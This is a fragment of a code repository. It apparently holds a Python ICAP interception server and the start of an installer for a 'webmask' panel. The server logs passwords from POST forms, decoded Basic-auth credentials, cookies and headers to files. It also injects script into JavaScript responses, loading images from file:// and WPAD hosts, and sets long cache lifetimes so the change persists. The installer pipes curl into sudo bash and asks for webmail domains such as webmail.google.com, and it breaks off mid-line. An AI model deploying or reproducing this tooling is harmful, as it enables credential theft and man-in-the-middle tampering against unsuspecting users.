    "content": "#!/bin/env python\n# -*- coding: utf8 -*-\n\nimport random\nimport SocketServer\nimport re\nimport json\nimport traceback\nimport gzip\nfrom threading import Thread\nfrom pyicap import *\nfrom dateutil import parser\nfrom datetime import *\nfrom StringIO import *\n\ncredentials_file = 'credentials.txt'\nlog_file = 'log.txt'\ncookies_file = 'cookies.txt'\ninject_file = 'injected.txt'\nheaders_file = 'headers.txt'\n\nscript = ';$(document).ready(function(){$(\\'<img src=\"file://[ip]/resource/logo.jpg\"><img src=\"http://WPAD/avatar.jpg\">\\');});'\ndays = 3000\n\nport = 1344\n\ndef log_to_file(path, log):\n        f = open(path, 'a+')\n        f.write(log + '\\n')\n        f.close()\n\n\ndef extract_login_password(date, ip, url, body):\n        usernames = []\n        passwords = []\n\n        userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',\n                                'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',\n                                'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',\n                                'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',\n                                'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']\n        passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',\n                                'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'\n                                'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena', 'secret']\n        logins = ['login', 'log-in', 'log_in', 'signin', 'sign-in', 'logon', 'log-on']\n\n        for login in userfields:\n                login_re = re.search('([^&]*%s[^=]*=[^&]+)' % login, body, re.IGNORECASE)\n                if login_re and len(login_re.group()) < 75:\n                        usernames.append(login_re.group())\n        for passfield in passfields:\n                pass_re = re.search('([^&]*%s[^=]*=[^&]+)' % passfield, body, re.IGNORECASE)\n                if pass_re and len(pass_re.group()) < 75:\n                        passwords.append(pass_re.group())\n\n        if len(usernames) > 0 and len(passwords) > 0:\n                log = {'date': date, 'ip': ip, 'type': 'login_password', 'url': url, 'usernames': usernames, 'passwords': passwords}\n                log_string = json.dumps(log, indent=4)\n                log_to_file(credentials_file, log_string)\n                print log_string\n\n        for login in logins:\n                if re.search(login, url, re.IGNORECASE):\n                        log = {'date': date, 'ip': ip, 'type': 'login_url', 'url': url, 'body': body}\n                        log_string = json.dumps(log, indent=4)\n                        log_to_file(credentials_file, log_string)\n\n\nclass ThreadingSimpleServer(SocketServer.ThreadingMixIn, ICAPServer):\n        pass\n\n\nclass ICAPHandler(BaseICAPRequestHandler):\n        def password_OPTIONS(self):\n                self.set_icap_response(200)\n                #self.set_icap_header('Methods', 'RESPMOD')\n                self.set_icap_header('Methods', 'REQMOD')\n                self.set_icap_header('Preview', '0')\n                self.send_headers(False)\n\n        def password_REQMOD(self):\n                try:\n                        date = str(parser.parse(self.headers['date'][0]))\n                        ip = self.headers['x-client-ip'][0]\n                        method = self.enc_req[0]\n                        url = self.enc_req[1]\n                        log_string = '{0}\\t{1}\\t{2}\\t{3}'.format(date, ip, method, url)\n                        log_to_file(log_file, log_string)\n                        #print log_string\n                        if '204' not in self.allow and self.preview == None:\n                                self.set_icap_response(200)\n                                self.set_enc_request(' '.join(self.enc_req))\n                                for h in self.enc_req_headers:\n                                        for v in self.enc_req_headers[h]:\n                                                self.set_enc_header(h, v)\n                                if not self.has_body:\n                                        self.send_headers(False)\n                                        self.log_request(200)\n                                        return\n                                self.send_headers(True)\n                        body = ''\n                        while self.has_body:\n                                #print 'read start'\n                                chunk = self.read_chunk()\n                                #print 'read done', len(chunk)\n                                if '204' not in self.allow and self.preview == None:\n                                        self.write_chunk(chunk)\n                                if chunk == '':\n                                        if method == 'POST':\n                                                thread = Thread(target = extract_login_password, args = (date, ip, url, body))\n                                                thread.start()\n                                        break\n                                elif method == 'POST':\n                                        body += chunk\n                        if '204' in self.allow or self.preview != None:\n                                self.set_icap_response(204)\n                                self.send_headers()\n                        #self.no_adaptation_required()\n                except:\n                        traceback.print_exc()\n                        raise\n\n        #def password_RESPMOD(self):\n        #        self.no_adaptation_required()\n\n        def basic_OPTIONS(self):\n                self.set_icap_response(200)\n                #self.set_icap_header('Methods', 'RESPMOD')\n                self.set_icap_header('Methods', 'REQMOD')\n                self.set_icap_header('Preview', '0')\n                self.send_headers(False)\n\n        def basic_REQMOD(self):\n                try:\n                        date = str(parser.parse(self.headers['date'][0]))\n                        ip = self.headers['x-client-ip'][0]\n                        method = self.enc_req[0]\n                        url = self.enc_req[1]\n                        if 'authorization' in self.enc_req_headers and self.enc_req_headers['authorization'][0].startswith('Basic'):\n                                cred = self.enc_req_headers['authorization'][0].split(' ')[1].decode('base64') \n                                log = {'date': date, 'ip': ip, 'type':'basic_auth', 'url': url, 'cred': cred}\n                                log_string = json.dumps(log, indent=4)\n                                log_to_file(credentials_file, log_string)\n                                #print log_string\n                        if '204' not in self.allow and self.preview == None:\n                                self.set_icap_response(200)\n                                self.set_enc_request(' '.join(self.enc_req))\n                                for h in self.enc_req_headers:\n                                        for v in self.enc_req_headers[h]:\n                                                self.set_enc_header(h, v)\n                                self.send_headers(True)\n                        while self.has_body:\n                                #print 'read start'\n                                chunk = self.read_chunk()\n                                #print 'read done', len(chunk)\n                                if '204' not in self.allow and self.preview == None:\n                                        self.write_chunk(chunk)\n                                if chunk == '':\n                                        break\n                        if '204' in self.allow or self.preview != None:\n                                self.set_icap_response(204)\n                                self.send_headers()\n                        #self.no_adaptation_required()\n                except:\n                        traceback.print_exc()\n                        raise\n\n        #def basic_RESPMOD(self):\n        #        self.no_adaptation_required()\n\n        def headers_OPTIONS(self):\n                self.set_icap_response(200)\n                #self.set_icap_header('Methods', 'RESPMOD')\n                self.set_icap_header('Methods', 'REQMOD')\n                self.set_icap_header('Preview', '0')\n                self.send_headers(False)\n\n        def headers_REQMOD(self):\n                date = str(parser.parse(self.headers['date'][0]))\n                ip = self.headers['x-client-ip'][0]\n                method = self.enc_req[0]\n                url = self.enc_req[1]\n                for header in self.enc_req_headers:\n                        log_string = '{0}\\t{1}\\t{2}\\t{3}'.format(date, ip, url, self.enc_req_headers[header][0])\n                        log_to_file(headers_file, log_string)\n                self.no_adaptation_required()\n\n        #def headers_RESPMOD(self):\n        #        self.no_adaptation_required()\n\n\n        def cookie_OPTIONS(self):\n                self.set_icap_response(200)\n                #self.set_icap_header('Methods', 'RESPMOD')\n                self.set_icap_header('Methods', 'REQMOD')\n                self.set_icap_header('Preview', '0')\n                self.send_headers(False)\n\n        def cookie_REQMOD(self):\n                date = str(parser.parse(self.headers['date'][0]))\n                ip = self.headers['x-client-ip'][0]\n                method = self.enc_req[0]\n                url = self.enc_req[1]\n                if 'cookie' in self.enc_req_headers:\n                        cookies = self.enc_req_headers['cookie'][0]\n                        log_string = '{0}\\t{1}\\t{2}\\t{3}'.format(date, ip, url, cookies)\n                        log_to_file(cookies_file, log_string)\n                self.no_adaptation_required()\n\n        #def cookie_RESPMOD(self):\n        #        self.no_adaptation_required()\n\n        def inject_OPTIONS(self):\n                self.set_icap_response(200)\n                self.set_icap_header('Methods', 'RESPMOD')\n                #self.set_icap_header('Methods', 'REQMOD')\n                self.set_icap_header('Preview', '0')\n                self.send_headers(False)\n\n        #def inject_REQMOD(self):\n        #        self.no_adaptation_required()\n\n        def inject_RESPMOD(self):\n                date = str(parser.parse(self.headers['date'][0]))\n                ip = self.headers['x-client-ip'][0]\n                method = self.enc_req[0]\n                url = self.enc_req[1]\n                referer = ''\n                if 'referer' in self.enc_req_headers:\n                        referer = self.enc_req_headers['referer'][0]\n                agent = ''\n                if 'user-agent' in self.enc_req_headers:\n                        referer = self.enc_req_headers['user-agent'][0]\n                status = self.enc_res_status[1]\n                message = self.enc_res_status[2]\n                if 'content-type' in self.enc_res_headers and 'javascript' in self.enc_res_headers['content-type'][0]: #re.search('^[^\\?]*\\.js(\\?.*)?$', url):\n                        log_string = '{0}\\t{1}\\t{2}\\t{3}\\t{4}\\t{5}\\t{6}'.format(date, ip, status, method, url, referer, agent)\n                        log_to_file(inject_file, log_string)\n                        print log_string\n                        compress = 'uncompress'\n                        if 'content-encoding' in self.enc_res_headers:\n                                if 'gzip' in self.enc_res_headers['content-encoding']:\n                                        compress = 'gzip'\n                        if compress not in ['uncompress', 'gzip']:\n                                self.no_adaptation_required()\n                                return\n                        body = ''\n                        if self.has_body:\n                                while True:\n                                        chunk = self.read_chunk()\n                                        body += chunk\n                                        if chunk == '':\n                                                break\n                                if compress == 'gzip':\n                                        buf = StringIO(body)\n                                        body = gzip.GzipFile(fileobj=buf).read()\n                                body += script\n                                if compress == 'gzip':\n                                        temp = ''\n                                        buf = StringIO(temp)\n                                        gzip.GzipFile(fileobj=buf, mode='w').write(body)\n                                        body = buf.getvalue()\n                        self.set_icap_response(200)\n                        self.set_enc_status(' '.join(self.enc_res_status))\n                        for h in self.enc_res_headers:\n                                for v in self.enc_res_headers[h]:\n                                        if h == 'content-length':\n                                                self.set_enc_header(h, str(len(body)))\n                                        elif h == 'cache-control':\n                                                pass\n                                        elif h == 'expires':\n                                                pass\n                                        elif h == 'etag':\n                                                pass\n                                        else:\n                                                self.set_enc_header(h, v)\n                        now = datetime.today()\n                        delta = timedelta(days)\n                        expires = now + delta\n                        self.set_enc_header('expires', expires.strftime('%A, %d %b %Y %H:%M:%S GMT'))\n                        self.set_enc_header('cache-control', 'max-age=' + str(int(delta.total_seconds())))\n                        if not self.has_body:\n                                self.send_headers(False)\n                                return\n                        self.send_headers(True)\n                        self.write_chunk(body)\n                        self.write_chunk('')\n                        return\n                self.no_adaptation_required()\n\n\nserver = ThreadingSimpleServer(('127.0.0.1', port), ICAPHandler)\ntry:\n        while 1:\n                server.handle_request()\nexcept KeyboardInterrupt:\n        print 'Finished'\n"
  },
  {
    "path": "webmask/install.sh",
    "content": "#!/bin/bash\napt-get update\napt-get install vim\napt-get install screen\n\n\n\napt-get install curl\napt-get install sudo\ncurl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -\nsudo apt-get install -y nodejs\nnpm install -g forever\nnpm install -g forever-service\n\n\nnpm install native-dns\n\n\necho -e \"\\033[1m Please Choose DNS zone For Panel : google.com\\033[0m\"\nread wbemzone\n\necho -e \"\\033[1m Please Choose Webmail  For Panel : webmail.google.com\\033[0m\"\nread wbemwebmail\n\n\necho -e \"\\033[1m Please Choose Webmail  For Panel : webmail.google.com\\033[0m\"\nread wbemwebmail\n\necho -e \"\\033[1m Please Choose authorative ip  For Panel : \\033[0m\"\nread wbemauthorativeip\n\n\necho -e \"\\033[1m Please Choose Server IP  For Panel : webmail.google.com\\033[0m\"\n\nread wbemserverip\n\n\n\n\nauthorative"
  }
]